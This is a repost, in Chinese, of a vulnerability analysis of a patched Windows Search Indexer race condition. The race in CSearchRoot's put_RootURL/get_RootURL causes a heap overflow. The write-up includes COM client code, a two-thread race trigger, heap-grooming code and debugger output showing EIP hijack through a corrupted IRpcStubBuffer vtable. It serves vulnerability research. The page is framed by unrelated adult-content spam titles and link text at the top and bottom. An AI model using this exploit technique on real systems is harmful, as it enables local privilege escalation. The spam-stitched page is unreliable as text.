成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Windows Search Indexer 本地提權漏洞分析

作者：h1apwn
系統 Windows
Windows Service中最近發生的大多數LPE漏洞都是邏輯漏洞。通過這種方式，對Windows Search Indexer的內存損壞漏洞進行分析非常有趣。因此，此后的Windows Service中很可能會出現這種內存損壞漏洞。

[[352362]]

 Windows Search Indexer 介紹

Windows Search Indexer是一項Windows服務，用于為Windows Search處理文件索引，這為Windows內置的文件搜索引擎提供了動力，該引擎為從“開始”菜單搜索框到Windows資源管理器甚至是“庫”函數的所有函數提供支持。

Search Indexer有助于從GUI的角度通過GUI和索引選項將用戶定向到服務界面，如下所示。


索引過程中的所有數據庫和臨時數據都存儲為文件并進行管理。通常，在Windows Service中，整個過程都是使用NT AUTHORITY SYSTEM特權執行的。如果由于修改文件路徑而碰巧存在邏輯漏洞，則可能會觸發特權提升。(例如Symlink攻擊)

鑒于最近在Windows Service中發生的大多數漏洞都是由于邏輯漏洞而導致的LPE漏洞，因此我們假定Search Indexer可能有類似的漏洞，但是，我們的分析結果并非如此，隨后將介紹更多詳細信息。

補丁對比

分析環境是Windows7 x86，因為它具有較小的更新文件，并且易于識別差異，我們下載了該模塊的兩個補丁版本。

可以從Microsoft更新目錄下載它們：

  •  patch程序版本(1月程序)：KB4534314 2
  •  補丁程序版本(2月補丁)：KB4537813 3

我們從patch過的二進制文件的BinDiff開始(在這種情況下，只有一個：searchindexer.exe)

大多數補丁都是在CSearchCrawlScopeManager和CSearchRoot類中完成的。前者在1月進行了patch，而后者在下個月進行了patch。這兩個類都包含相同的更改，因此我們專注于patch的CSearchRoot。

下圖顯示添加了原始代碼，該代碼使用Lock來安全地訪問共享資源。我們推斷，訪問共享資源會導致競爭條件漏洞的發生，因為該補丁由putter, getter函數組成。


界面互動

我們參考了MSDN，了解如何使用這些類，并發現它們都與“爬網管理器”相關的，我們可以檢查此類的方法信息。

MSDN說4：

爬網范圍管理器(CSM)是一組API，可添加，刪除和枚舉Windows搜索索引器的搜索root和范圍規則。當希望索引器開始對新容器進行爬網時，可以使用CSM設置搜索root目錄，并為搜索root目錄內的路徑設置作用域規則。

CSM界面如下：

  •  IEnumSearchRoots
  •  IEnumSearchScopeRules
  •  ISearchCrawlScopeManager
  •  ISearchCrawlScopeManager2
  •  ISearchRoot
  •  ISearchScopeRule
  •  ISearchItem

例如，添加，刪除和枚舉搜索root和范圍規則可以通過以下方式編寫：

ISearchCrawlScopeManager告知搜索引擎要爬網和/或監視的容器，以及要包含或排除的容器下的項目。若要添加新的搜索，需要實例化ISearchRoot對象，設置root屬性，然后調用ISearchCrawlScopeManager :: AddRoot并將其傳遞給ISearchRoot對象的指針。

  1. // Add RootInfo & Scope Rule 
  2. pISearchRoot->put_RootURL(L"file:///C:\ "); 
  3. pSearchCrawlScopeManager->AddRoot(pISearchRoot); 
  4. pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS); 
  5.  
  6. // Set Registry key 
  7. pSearchCrawlScopeManager->SaveAll(); 

 當我們不再希望對該URL編制索引時，我們還可以使用ISearchCrawlScopeManager從爬網范圍中刪除root。刪除root還會刪除該URL的所有范圍規則。我們可以卸載應用程序，刪除所有數據，然后從爬網范圍中刪除搜索root，并且“爬網范圍管理器”將刪除root以及與該root相關聯的所有范圍規則。 

  1. // Remove RootInfo & Scope Rule 
  2. ISearchCrawlScopeManager->RemoveRoot(pszURL); 
  3.  
  4. // Set Registry key 
  5. ISearchCrawlScopeManager->SaveAll(); 

 CSM使用IEnumSearchRoots枚舉搜索root。出于多種目的，我們可以使用此類枚舉搜索root;例如，我們可能想要在用戶界面中顯示整個爬網范圍，或者發現爬網范圍中是否已經有特定的root目錄或root目錄的子級。 

  1. // Display RootInfo 
  2.  PWSTR pszUrl = NULL; 
  3.  pSearchRoot->get_RootURL(&pszUrl); 
  4.  wcout << L"\t" << pszUrl; 
  5.   
  6.  // Display Scope Rule 
  7.  IEnumSearchScopeRules *pScopeRules; 
  8.  pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules); 
  9.   
  10.  ISearchScopeRule *pSearchScopeRule; 
  11.  pScopeRules->Next(1, &pSearchScopeRule, NULL)) 
  12.   
  13.  pSearchScopeRule->get_PatternOrURL(&pszUrl); 
  14.  wcout << L"\t" << pszUrl; 

 我們認為在處理URL的過程中會出現漏洞，因此，我們開始分析根本原因。

漏洞分析

我們針對以下函數進行了二進制分析：

  •  ISearchRoot :: put_RootURL
  •  ISearchRoot :: get_RootURL

在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL時，我們發現引用了對象的共享變量(CSearchRoot + 0x14)。

put_RootURL函數將用戶控制的數據寫入CSearchRoot + 0x14的內存中。get_RootURL函數讀取位于CSearchRoot + 0x14內存中的數據，該漏洞似乎是由與補丁程序有關的共享變量引起的。

 

因此，我們終于到了漏洞開始的地方，該漏洞在發生以下情況時可能會觸發：

1. 首次提取：用作內存分配大小(第9行)

2. 第二次獲取：用作內存副本大小(第13行)

 如果第一個和第二個的大小不同，則可能會發生堆溢出，尤其是在第二個提取的大小較大時。我們認為，在發生內存復制之前，我們通過競爭條件充分更改了pszURL的大小。

崩潰現場

通過OleView 5，我們可以看到Windows Search Manager提供的界面，而且我們需要跟據接口的方法來攻擊漏洞函數。

  我們可以通過MSDN 6提供的基于COM的命令行源代碼輕松地對其進行測試，并編寫了攻擊存在漏洞的函數的COM客戶端代碼，如下所示：

  1. int wmain(int argc, wchar_t *argv[]) 
  2. { 
  3.     // Initialize COM library 
  4.     CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); 
  5.  
  6.     // Class instantiate 
  7.     ISearchRoot *pISearchRoot; 
  8.     CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot)); 
  9.  
  10.     // Vulnerable functions hit 
  11.     pISearchRoot->put_RootURL(L"Shared RootURL"); 
  12.     PWSTR pszUrl = NULL; 
  13.     HRESULT hr = pSearchRoot->get_RootURL(&pszUrl); 
  14.     wcout << L"\t" << pszUrl; 
  15.     CoTaskMemFree(pszUrl); 
  16.  
  17.     // Free COM resource, End 
  18.     pISearchRoot->Release(); 
  19.     CoUninitialize(); 
  20. } 

 漏洞觸發非常簡單。我們創建了兩個線程：一個線程將不同長度的數據寫入共享緩沖區，另一個線程同時從共享緩沖區讀取數據。 

  1. DWORD __stdcall thread_putter(LPVOID param) 
  2. { 
  3.  ISearchManager *pSearchManager = (ISearchManager*)param; 
  4.  while (1) { 
  5.   pSearchManager->put_RootURL(L"AA"); 
  6.   pSearchManager->put_RootURL(L"AAAAAAAAAA"); 
  7.  } 
  8.  return 0; 
  9. } 
  10. DWORD __stdcall thread_getter(LPVOID param) 
  11. { 
  12.  ISearchRoot *pISearchRoot = (ISearchRoot*)param; 
  13.  PWSTR get_pszUrl; 
  14.  while (1) { 
  15.   pISearchRoot->get_RootURL(&get_pszUrl); 
  16.  } 
  17.  return 0; 
  18. } 

 崩潰了!

  

毫無疑問，在StringCchCopyW函數復制RootURL數據之前，競爭條件已經成功，從而導致堆溢出。

劫持EIP

為了控制EIP，我們應該為發生漏洞的Sever堆創建一個對象。

我們編寫了如下的客戶端代碼，以跟蹤堆狀態。

  1. int wmain(int argc, wchar_t *argv[]) 
  2. { 
  3.     CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE); 
  4.     ISearchRoot *pISearchRoot[20]; 
  5.     for (int i = 0; i < 20; i++) { 
  6.         CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i])); 
  7.     } 
  8.     pISearchRoot[3]->Release(); 
  9.     pISearchRoot[5]->Release(); 
  10.     pISearchRoot[7]->Release(); 
  11.     pISearchRoot[9]->Release(); 
  12.     pISearchRoot[11]->Release(); 
  13.  
  14.      
  15.     CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL); 
  16.     CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL); 
  17.     Sleep(500); 
  18.      
  19.     CoUninitialize(); 
  20.     return 0; 
  21. } 

 我們發現，如果客戶端不釋放pISearchRoot對象，則IRpcStubBuffer對象將保留在服務器堆上。而且我們還看到IRpcStubBuffer對象保持在發生漏洞的堆的位置附近。

  1. 0:010> !heap -p -all 
  2.   ... 
  3.   03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return 
  4.    mssprxy!_idxpi_IID_Lookup  (mssprxy+0x75) 
  5.   03d58f38 0005 0005  [00]   03d58f40    00020 - (free) 
  6.   03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj 
  7.     ? mssprxy!_ISearchRootStubVtbl+10 
  8.   03d58f88 0005 0005  [00]   03d58f90    0001c - (busy) 
  9.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  10.   03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy) 
  11.   03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy) 
  12.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  13.   03d59000 0005 0005  [00]   03d59008    0001c - (busy) 
  14.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  15.   03d59028 0005 0005  [00]   03d59030    00020 - (busy) 
  16.   03d59050 0005 0005  [00]   03d59058    00020 - (busy) 
  17.   03d59078 0005 0005  [00]   03d59080    00020 - (free) 
  18.   03d590a0 0005 0005  [00]   03d590a8    00020 - (free) 
  19.   03d590c8 0005 0005  [00]   03d590d0    0001c - (busy) 
  20.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 

 在COM中，所有接口都有自己的接口存根空間。存根是用于在RPC通信期間支持遠程方法調用的較小內存空間，IRpcStubBuffer是此類接口存root的主要接口。在此過程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服務器的堆上。

IRpcStubBuffer的vtfunction如下：

  1. 0:003> dds poi(03d58f18) l10 
  2.   71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface 
  3.   71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef 
  4.   71215bd0  71216840 mssprxy!CStdStubBuffer_Release 
  5.   71215bd4  71217926 mssprxy!CStdStubBuffer_Connect 
  6.   71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize(); 
  7.   71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke 
  8.   71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported 
  9.   71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs 
  10.   71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface 
  11.   71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease 

 當客戶端的COM未初始化時，IRpcStubBuffer :: Disconnect斷開對象指針的所有連接。因此，如果客戶端調用CoUninitialize函數，則會在服務器上調用CStdStubBuffer_Disconnect函數。這意味著用戶可以構造偽造的vtable并調用該函數。

但是，我們并不總是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次嘗試來構造堆布局，經過幾次嘗試后，IRpcStubBuffer對象被如下可控值(0x45454545)覆蓋。

最后，我們可以證明可以間接調用內存中的函數!

 

分析結論

Windows Service中最近發生的大多數LPE漏洞都是邏輯漏洞。通過這種方式，對Windows Search Indexer的內存損壞漏洞進行分析非常有趣。因此，此后的Windows Service中很可能會出現這種內存損壞漏洞。

我們希望該分析將對其他漏洞研究人員有所幫助，并可以用于進一步的研究。

參考文獻

  • https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
  •  https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
  •  https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
  •  https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
  •  https://github.com/tyranid/oleviewdotnet ↩
  •  https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩

本文翻譯自：http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html如若轉載，請注明原文地址。

 

責任編輯：姜華 來源： 嘶吼網
Windows
相關推薦

2020-10-06 13:58:25

漏洞

2021-05-01 20:52:30

漏洞網絡安全網絡攻擊

2013-11-29 15:34:00

2010-02-02 15:40:11

2023-10-09 18:22:35

2023-06-11 17:24:26

2009-04-24 14:08:25

2009-04-24 14:34:51

2017-04-17 20:08:19

2017-04-07 09:46:16

2015-03-13 10:06:55

2023-09-11 06:59:59

2025-05-14 06:00:00

漏洞終端安全網絡安全

2010-01-23 21:25:34

2022-04-28 10:54:52

惡意軟件漏洞微軟

2010-12-10 15:23:49

Linux漏洞

2022-03-10 09:41:15

漏洞Linux內核

2025-04-18 10:17:47

2016-05-17 09:42:16

2021-01-13 08:14:36

Windows提權漏洞攻擊
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板： 欧美伊人影院 | 精品视频在线观看 | 午夜性色a√在线视频观看9 | 6080亚洲精品一区二区 | 亚洲国产成人精品久久久国产成人一区 | 黄色一级大片在线免费看产 | 亚洲免费大片 | 欧美日韩国产在线观看 | 福利色导航 | 国产精品伦一区二区三级视频 | av乱码| 国产一区二区三区四区五区3d | 久久亚洲欧美日韩精品专区 | 国产一区二区在线免费观看 | 欧美国产精品 | 国产精品成人国产乱一区 | 国产区视频在线观看 | 国产精品视频一区二区三区不卡 | 日韩天堂av | av大片在线观看 | 成人网址在线观看 | 午夜视频在线 | 国产探花在线精品一区二区 | 亚洲 欧美 日韩 在线 | 国产91中文| 亚洲人人 | 欧美一级二级三级视频 | 久久大全 | 欧美一级二级在线观看 | 午夜精品91 | 亚洲综合色视频在线观看 | 91高清在线| 999久久久精品 | 日韩亚洲视频 | 欧美一级特黄aaa大片在线观看 | 神马久久久久久久久久 | 中文字幕第一页在线 | 国产一区二区三区四区 | 精品日本中文字幕 | 久久亚洲综合 | 天堂一区二区三区 |